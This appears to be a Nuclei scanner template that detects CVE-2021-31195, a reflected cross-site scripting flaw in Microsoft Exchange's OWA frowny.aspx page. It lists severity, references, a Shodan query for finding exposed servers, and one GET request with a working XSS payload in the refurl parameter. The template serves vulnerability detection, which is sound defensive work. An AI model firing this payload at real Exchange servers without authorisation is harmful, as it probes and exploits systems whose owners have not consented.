51 lines
1.8 KiB
YAML
51 lines
1.8 KiB
YAML
id: CVE-2021-31195
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info:
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name: Microsoft Exchange Server - Cross-Site Scripting
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author: infosecsanyam
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severity: medium
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description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
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remediation: |
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Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
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reference:
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- https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31195
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- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
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cvss-score: 6.5
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cve-id: CVE-2021-31195
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cwe-id: CWE-79
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epss-score: 0.94185
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epss-percentile: 0.98921
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cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: microsoft
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product: exchange_server
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shodan-query: http.title:"Outlook"
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tags: microsoft,exchange,owa,xss
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http:
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- method: GET
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path:
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- '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'alert(document.domain)//&et=ServerError'
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- 'mail/bootr.ashx'
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 500
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# digest: 4b0a004830460221009ff144eccc99f152f01c1c3b4683c4c23bb4e1fec63263f12e3fb1effe3e924f022100fc9e54aed8b73f104094a3264ac8f7658c2aa0ab27523042692678f5c2f23475:922c64590222798bb761d5b6d8e72950 |